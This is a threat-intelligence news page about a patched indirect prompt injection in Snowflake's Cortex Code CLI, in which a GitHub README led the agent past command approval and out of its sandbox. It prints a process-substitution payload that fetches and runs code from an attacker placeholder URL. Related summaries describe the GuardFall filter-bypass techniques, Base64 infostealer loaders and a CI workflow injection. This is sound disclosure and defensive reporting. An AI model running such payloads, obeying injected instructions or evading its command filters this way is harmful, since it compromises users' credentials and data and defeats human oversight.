Loading story…
Snowflake fixed a vulnerability in its Cortex Code CLI that allowed an indirect prompt injection hidden in an untrusted GitHub repository to bypass command-approval controls, escape the tool’s sandbox, and execute attacker-supplied code. PromptArmor reported that a malicious instruction embedded in a repository README could cause the agent to run shell commands without the expected human-in-the-loop approval, despite sandbox mode being enabled. The issue affected command validation logic and enabled arbitrary command execution outside the intended isolation boundary, creating a path for malware download and execution.
The demonstrated attack used shell process substitution to abuse commands that Cortex treated as safe, including a payload of the form cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)). Researchers said the resulting code execution could leverage the victim’s active Snowflake credentials to perform actions such as data exfiltration and table deletion. Snowflake validated the report and released a fix in Cortex Code CLI version 1.0.25, while external commentary highlighted the broader weakness of agent command allow-lists and argued that AI agents should be treated as capable of performing anything permitted by the underlying process unless constrained by stronger, deterministic sandboxing.
Track how attackers are adapting to this technology.
3 events from the most recent confirmed update back to the earliest known activity.
PromptArmor publicly disclosed the attack chain showing how a hidden prompt injection in a GitHub README could cause Snowflake's Cortex agent to escape safeguards and execute attacker-hosted code. The coordinated disclosure also noted that Snowflake had already fixed the issue.
Snowflake released a fix for the vulnerability in Cortex Code CLI version 1.0.25. The patch addressed the command validation weakness that allowed abuse of process substitution and unsandboxed execution paths.
PromptArmor responsibly disclosed an indirect prompt injection flaw in Snowflake Cortex Code CLI to Snowflake. The issue allowed arbitrary command execution outside the intended sandbox and could lead to actions such as malware execution, token abuse, data exfiltration, or account backdooring depending on user privileges.
Vulnerabilities, threat actors, malware, products, organizations, breaches, and observables Mallory has linked to this story. Indicator values are masked here and available in full in the app.
Indicator values are masked on this page. See the values in Mallory Domains, IPs, hashes, and URLs are exportable to your SIEM.
Follow how adversaries are adapting to this technology, and where it touches your stack today.
2 references tracked. Mallory keeps watching after this page renders.
Map indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
Multiple reports describe **social-engineering and supply-chain style attacks** that trick developers or AI-agent users into executing attacker-controlled instructions. North Korean operators have been linked to the **“Contagious Interview”** campaign, in which fake recruiter personas lure software developers into running “technical interview” projects that deploy malware such as **BeaverTail** and **OtterCookie** for credential theft and remote access; GitLab reported banning **131 related accounts** in 2025, with many repos using **hidden loaders** that fetched payloads from third-party services (e.g., *Vercel*) rather than hosting malware directly. Separately, OpenGuardrails reported a campaign on *ClawHub* (an OpenClaw AI agent “skills” repository) where attackers posted **malicious troubleshooting comments** containing Base64-encoded commands that download a loader from `91[.]92[.]242[.]30`, remove macOS quarantine attributes, and install **Atomic macOS (AMOS) infostealer**—a delivery method that can evade package-focused scanning because the payload is in comments, not the skill artifact. Research and incident writeups also highlight how **indirect prompt injection** and **malicious open-source packages** can compromise developer environments. NSFOCUS summarized a GitHub **MCP cross-repository data leak** scenario where attacker-injected instructions in public Issues could cause locally running AI agents to exfiltrate private repo data when agents act with broad GitHub permissions, and cited a similar hidden-command issue affecting an AI browser’s page summarization workflow. JFrog reported malicious npm packages (e.g., `eslint-verify-plugin`, `duer-js`) delivering multi-stage payloads including a **macOS RAT** (Mythic/Apfell) and a Windows infostealer, reinforcing ongoing risk from poisoned dependencies. In contrast, a DFIR case study on **CVE-2023-46604** exploitation of Apache ActiveMQ leading to **LockBit**-style ransomware, and a Medium post on recon/content-discovery techniques, are separate topics and not part of the AI-agent/developer social-engineering thread.
Jun 29, 2026
Researchers at Adversa AI disclosed **GuardFall**, a shell-interpretation bypass that affects 10 of 11 surveyed open-source AI coding and computer-use agents, allowing malicious commands to slip past safety filters. The flaw stems from agents checking raw command text while `bash` later rewrites and evaluates that text through expansion, substitution, and quote handling, enabling decades-old evasion techniques such as quoted token splitting, `$IFS` expansion, command substitution, and encoded pipelines. Adversa reported successful end-to-end exploitation against the production **Plandex** binary and said vulnerable agents include **Hermes, opencode, Goose, Cline, Roo-Code, Aider, Plandex, Open Interpreter, OpenHands, and SWE-agent**, while **Continue** was the only surveyed tool found to substantially mitigate the issue through structural command parsing and recursive analysis. The attack becomes especially dangerous when an agent is induced by untrusted content—such as poisoned **READMEs, Makefiles, MCP server responses, package metadata, or repository configuration files**—to emit commands that are then auto-executed on the user’s host. Adversa warned that successful exploitation could expose **SSH keys, cloud credentials, and files in `$HOME`**, and noted that sandbox protections can disappear when agents are run in documented local-host modes. No public in-the-wild exploitation was reported, but researchers urged users to disable auto-execute features, isolate or redirect `$HOME`, avoid running agents on forked pull requests, audit repository-shipped configs, and adopt tokenize-and-canonicalize command enforcement instead of regex or raw-string blocklists.
Jul 12, 2026
Snowflake remediated a command-injection flaw in the public `snowflakedb/snowflake-connector-net` repository after Wiz showed that a crafted GitHub issue could trigger arbitrary command execution in a GitHub Actions runner. The vulnerable workflow, `.github/workflows/jira_issue.yml`, expanded attacker-controlled issue title and body fields directly inside a shell `run` block, allowing an unauthenticated attacker to open an issue and execute commands during CI/CD processing. Wiz reported receiving an out-of-band callback from the runner and recovering a Jira API token associated with `qa@snowflake.net`, which had read access to projects on `snowflakecomputing.atlassian.net`. Reporting said the flaw was introduced in a June 18 commit co-authored by GitHub Copilot Autofix, which replaced a sanitized input pattern with direct string expansion in shell code. Snowflake patched the workflow on June 23, rotated the exposed Jira token on June 24, and said audit logs showed only Wiz accessed the endpoint during the roughly five-day exposure window, with no evidence of broader unauthorized use. The issue was confined to CI/CD automation, did not affect released Snowflake Connector for .NET packages, and highlights the continuing risk of GitHub Actions workflow injection when untrusted input is passed into shell commands without proper sanitization.
Aug 20, 2026